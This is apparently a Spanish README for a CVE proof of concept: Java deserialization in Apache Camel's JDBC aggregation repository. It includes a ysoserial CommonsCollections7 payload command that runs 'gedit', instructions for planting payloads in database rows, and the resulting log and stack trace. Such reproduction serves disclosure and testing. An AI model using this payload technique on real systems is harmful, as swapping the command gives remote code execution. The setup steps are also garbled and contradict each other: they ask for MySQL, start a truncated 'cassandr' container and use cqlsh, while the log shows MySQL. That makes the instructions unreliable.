croway/potential-cassandraDescubrimiento de CVE
Necesitaremos una instancia de Mysql
docker run --rm -d --name cassandra -p 9042:9042 cassandr
Ahora necesitaremos crear las tablas requeridas:
Tienes dos archivos: employee.sql y employee_completed.sql
Ejecuta el siguiente comando:``` docker exec -it cassandra bash
root@fe5e7aff17e7:/# cqlsh
CREATE KEYSPACE db WITH REPLICATION = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 };
Introduce tu contraseña, ejecuta `USE db;` y ejecuta los dos archivos SQL.
En este punto ya tienes los elementos necesarios para reproducir la deserialización.
### Payload
El payload que estamos usando se basa en commons-collections 3.2.1.
Necesitarás usar:
[https://github.com/frohoff/ysoserial](https://github.com/frohoff/ysoserial)
Desde la línea de comandos puedes recrear el payload de esta manera:
`java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p`
Esto devolverá la versión Hex del payload. La idea es ejecutar el comando `gedit` durante la deserialización.
Puedes experimentar con posibles payloads y modificar los scripts SQL cambiando la sentencia INSERT y añadiendo los nuevos payloads generados.
### Ejecutar
Para reproducir el comportamiento. En primer lugar, selecciona un JDK 17 (localmente o mediante SDKMan).
A continuación, ejecuta el siguiente comando:
`mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run`
Esto generará la siguiente salida:
[INFO] --- spring-boot:3.2.0:run (default-cli) @ camelsql ---
[INFO] Attaching agents: []
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v3.2.0)
2024-01-10T11:50:05.523+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Starting CamelsqlApplication using Java 17.0.8 with PID 28404 (/home/oscerd/workspace/apache-camel/security/camelsql/target/classes started by oscerd in /home/oscerd/workspace/apache-camel/security/camelsql)
2024-01-10T11:50:05.526+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : No active profile set, falling back to 1 default profile: "default"
2024-01-10T11:50:06.897+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) is starting
2024-01-10T11:50:06.903+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Starting...
2024-01-10T11:50:07.062+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.pool.HikariPool : HikariPool-1 - Added connection com.mysql.cj.jdbc.ConnectionImpl@418f890f
2024-01-10T11:50:07.064+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Start completed.
2024-01-10T11:50:07.093+01:00 INFO 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 aggregate exchanges (not completed) in repository: employee
2024-01-10T11:50:07.094+01:00 WARN 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 completed exchanges to be recovered in repository: employee_completed
2024-01-10T11:50:07.096+01:00 INFO 28404 --- [ main] o.a.c.p.aggregate.AggregateProcessor : Using RecoverableAggregationRepository by scheduling recover checker to run every 5000 millis.
2024-01-10T11:50:07.098+01:00 INFO 28404 --- [ main] c.s.b.CamelSpringBootApplicationListener : Starting CamelMainRunController to ensure the main thread keeps running
2024-01-10T11:50:07.099+01:00 INFO 28404 --- [inRunController] org.apache.camel.main.MainSupport : Apache Camel (Main) 4.3.0 is starting
2024-01-10T11:50:07.106+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Routes startup (started:1)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Started route1 (timer://select)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) started in 209ms (build:0ms init:0ms start:209ms)
2024-01-10T11:50:07.115+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Started CamelsqlApplication in 1.839 seconds (process running for 2.453)
2024-01-10T11:50:08.176+01:00 ERROR 28404 --- [ timer://select] o.a.c.p.e.DefaultErrorHandler : Failed delivery for (MessageId: 41CB7CFEF0673B6-0000000000000000 on ExchangeId: 41CB7CFEF0673B6-0000000000000000). Exhausted after delivery attempt: 1 caught: java.lang.RuntimeException: Error getting key == 0 from repository employee
Message History (source location and message history is disabled)
---------------------------------------------------------------------------------------------------------------------------------------
Source ID Processor Elapsed (ms)
route1/route1 from[timer://select?repeatCount=1] 69
...
route1/aggregate1 aggregate[${header.aaa} == 0] 0
Stacktrace
---------------------------------------------------------------------------------------------------------------------------------------
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:366) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.1.jar:6.1.1]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:335) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.3.0.jar:4.3.0]